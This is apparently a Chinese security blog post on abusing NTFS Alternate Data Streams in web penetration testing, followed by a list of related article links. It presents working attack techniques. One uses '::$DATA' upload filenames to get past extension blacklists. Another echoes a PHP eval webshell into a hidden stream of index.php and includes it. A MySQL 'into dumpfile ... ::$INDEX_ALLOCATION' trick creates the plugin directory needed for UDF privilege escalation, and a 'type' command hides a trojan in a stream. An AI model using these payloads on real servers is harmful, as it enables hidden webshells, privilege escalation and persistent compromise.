NTFS ADS带来的web安全问题
有关ADS的简单说明请看http://www.xfocus.net/articles/200212/466.html
可以看到ADS在很久以前就被一些安全人员所关注,并且也提出了一些经典的利用,比如隐藏文件,隐藏webshell(http://blog.csdn.net/lake2/article/details/269659),随着这次爆出来的IIS的权限绕过,我们再次测试了一下ADS在渗透中的利用方法,并发现了一些比较有意思的现象。这里主要给大家分享几个利用方法,大家可以发散思维,想办法把ADS利用起来。
1. 经典的IIS 目录访问权限绕过:
详见:http://www.exploit-db.com/exploits/19033/
注:这里的权限是NTFS目录属性的权限,并非说是后台直接绕过。别误会。
2. Bypass 黑名单验证
在测试中我们发现,如果上传的文件名字为:test.php::$DATA,会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析。假设我们需要上传的文件内容为:<?php phpinfo();?>下面是上传是会出现的现象:
| 上传的文件名 | 服务器表面现象 | 生成的文件内容 |
| Test.php:a.jpg | 生成Test.php | 空 |
| Test.php::$DATA | 生成test.php | <?php phpinfo();?> |
| Test.php::$INDEX_ALLOCATION | 生成test.php文件夹 | |
| Test.php::$DATA\0.jpg | 生成0.jpg | <?php phpinfo();?> |
| Test.php::$DATA\aaa.jpg | 生成aaa.jpg | <?php phpinfo();?> |
PS: 上传test.php:a.jpg的时候其实是在服务器上正常生成了一个数据流文件,可以通过notepad test.php:a.jpg查看内容,而test.php为空也是正常的。
根据第二个现象,我们可以bypass一些黑名单验证。
后面我加\0测试的时候是想截断后面的东西,但是发现windows会无视”/””\”这两个符号前面的东西,只识别这俩符号后的字符串。
3. 在隐藏webshell中的利用:
方法:在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞: echo ^<?php @eval(request[cmd])?^> > index.php:hidden.jpg
这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。我们可以在另外一个正常文件里把这个ADS文件include进去,<?php include(‘index.php:hidden.jpg’)?>,这样子就可以正常解析我们的一句话了。
4. UDF提权中的利用
不详细介绍udf提权了 具体可以参考:《udf提权方法和出现问题汇总》
UDF提权tips:如果数据库用户对数据库mysql(注意指的是数据库里的默认库mysql)具有insert和delete权限,就可以创建加载自定义函数。而又由于mysql是以system权限运行在windows主机上,所以这个时候我们就可以通过自定义函数以system权限执行命令了。
Mysql 5.1以上(现在都5.6版本了,估计老版的不常见了。),在加载自定义函数的DLL时,要求目录必须是mysql目录下的lib\plugin\目录。直接导入C:\windows\system32这种目录是加载不了dll的,也就没办法creat function。但是可悲的是mysql 5.1之后的版本在安装的时候是默认不存在lib\plugin目录的,除非你安装的是完整版(官方的那种200多M的)。
还有一些情况,比如:你获取webshell了,但是webshell权限被限制的很死,根本没办法新建lib\plugin目录,或者你根本就没有webshell,只有一个Mysql的弱口令。91ri.org在以前估计就是只有放弃了,但是利用ADS我们则可以bypass掉这个限制。下面是一个demo
(1) 查找mysql的plugin目录:


但是我们可以发现其实服务器并没有那个目录:

(2) 尝试直接将dll导进去,
为了方便演示,我们随便导入一个txt,具体怎么通过unhex 和into dumpfile函数在mysql里导入dll,请看文章:
http://blog.sina.com.cn/s/blog_6ca7b58101013kt4.html


目录不存在,肯定导不进去。
(3) 利用ADS突破限制建立目录
执行的命令是:
Default
|
1
2
3
4
5
|
mysql> select 'It is dll' into dumpfile 'C:\\Program Files (x86)\\MySQL\\MySQL S
erver 5.1\\lib::$INDEX_ALLOCATION';
ERROR 3 (HY000): Error writing file 'C:\Program Files (x86)\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION' (Errcode: 22)
|

发现继续爆出错误,但是回到服务器的目录上:

同样的方法,新建一个plugin目录


再往下就好办了,跟其他udf提权一个样。
5. 利用ADS隐藏木马
隐藏好办,直接在cmd里面执行命令: type muma.ext test.txt:muma.exe
这样就把木马写进test.txt的数据流里了。但是想运行的话还得借助其他工具,winrar就是一个,具体方法百度百科里都有,但是百科里的别信,成功不了,需要用type命令才能将二进制可执行文件写进去的。
Winrar的自解压木马我还是觉得不靠谱,毕竟后缀是exe,如果目标连这个都确定不了,那还不如直接发muma.exe。所以这个利用我也没怎么研究了。
注:数据流中如果是可执行文件,用start命令调用时,需要在win xp 和2003环境下,win7下失败。
6. 补充:
各位黑阔可以发挥自己的想象,利用ADS说不定可以Bypass当前大部分的上传验证哦~~如果各位发现什么好玩的,还请多多赐教~
NTFS ADS带来的web安全问题的更多相关文章
- SVN二次开发——让SVN、TSVN(TortoiseSVN)支持windows的访问控制模型、NTFS ADS(可选数据流、NTFS的安全属性)
SVN二次开发 ——让SVN.TSVN(TortoiseSVN)支持windows的访问控制模型.NTFS ADS (可选数据流.NTFS的安全属性) SVN secondary developmen ...
- web安全问题分析及处理
前言 这是我观看了<前端漏洞分析及处理-蔡慧芨>公开课之后的一个总结及简单实践体会.在可能的情况下我会把他们都实际操作一遍,更加深刻地体会前端安全的重要性. web安全问题有哪些 XSS- ...
- web安全问题-cookie
web安全问题 cookie 1.cookies只能设置过期 不能删除 <script> now.toGMTString() => 事件可以用来设置cookie document.c ...
- web安全问题-csrf
web安全问题 csrf <script> document.write(` <form name="commentForm" target="csrf ...
- WEB安全问题
WEB安全问题我没太多经验,但是这块内容还是很重要,所以必须要了解学习一下. 简单总结了一下,分成以下5类, 1.DDOS,瘫痪式攻击,解决方法是记录异常请求的ip地址,主动拒绝或者将攻击ip添加到防 ...
- NTFS ADS(备用数据流)
NTFS Alternate Data Stream(ADS) 1993年微软推出了基于流行的NT平台的Windows NT操作系统.之后,NTFS作为WIndows开发基于NT的操作系统时的首选 ...
- Java WEB安全问题及解决方案
1.弱口令漏洞 解决方案:最好使用至少6位的数字.字母及特殊字符组合作为密码.数据库不要存储明文密码,应存储MD5加密后的密文,由于目前普通的MD5加密已经可以被破解,最好可以多重MD5加密. ...
- 三种常见的Web安全问题
XSS漏洞 1.XSS简介 跨站脚本(cross site script)简称为XSS,是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式. XSS是指恶意攻击者利用网站没有对 ...
- web 安全问题(二):XSS攻击
上文说完了CSRF攻击,本文继续研究它的兄弟XSS攻击. 什么是XSS攻击 XSS攻击的原理 XSS攻击的方法 XSS攻击防御的手段 什么是XSS攻击 XSS攻击全名(Cross-Site-Scrip ...
随机推荐
- 项目记录 -- config2html 理解
html 代码: <table width=1280 border=0 cellspacing=1 cellpadding=1> <tr id=tblhdr> <td&g ...
- 内存不够清理方法,costdown项目时如果裁剪不下来,也可以参考
Linux下清理内存和Cache方法 /proc/sys/vm/drop_caches 频繁的文件访问会导致系统的Cache使用量大增 $ free -m total used free shared ...
- 64_t2
texlive-biblatex-chem-doc-svn42065-33.fc26.2.no..> 24-May-2017 15:44 1044190 texlive-biblatex-che ...
- Nginx实现404页面的几种方法【转】
一个网站项目,肯定是避免不了404页面的,通常使用Nginx作为Web服务器时,有以下集中配置方式,一起来看看. 第一种:Nginx自己的错误页面 Nginx访问一个静态的html 页面,当这个页面没 ...
- ThoughtWorks代码挑战——FizzBuzzWhizz游戏 通用高速版(C/C++ & C#)
最早看到这个题目是从@ 程序媛想事儿(Alexia) 的 最难面试的IT公司之ThoughtWorks代码挑战——FizzBuzzWhizz游戏 开始的,然后这几天陆陆续续有N个小伙伴发表了自己的文章 ...
- Java访问http用户验证
public class SAXParse { static final String kuser = "admin"; static final String kpass = & ...
- [Linux: vim]vim自动生成html代码
如果直接将vim编辑的文字复制粘贴到一些blog的编辑器中,这些代码将会是死板的白纸黑字.如果能加入关键字高亮功能就好了,这样代码阅读起来会很方便.一些blog的编辑器提供了这项功能,一些没有,一些支 ...
- (四)Spring 对DAO 的支持
第一节:Spring 对JDBC 的支持 1,配置数据源dbcp: 2,使用JdbcTemplate: 3,JdbcDaoSupport 的使用: 4,NamedParameterJdbcTempla ...
- 以太坊go-ethereum客户端JSON-RPC API调用(一)
前几篇博客主要介绍了go-ethereum客户端不同环境的搭建,今天这篇博客是建立在前几排博客的基础上.当搭建完成之后,我们可以通过各种方式与节点进行交互(JavaScript Console.JSO ...
- 前端网页进度Loading
loading随处可见,比如一个app经常会有下拉刷新,上拉加载的功能,在刷新和加载的过程中为了让用户感知到 load 的过程,我们会使用一些过渡动画来表达.最常见的比如“转圈圈”,“省略号”等等. ...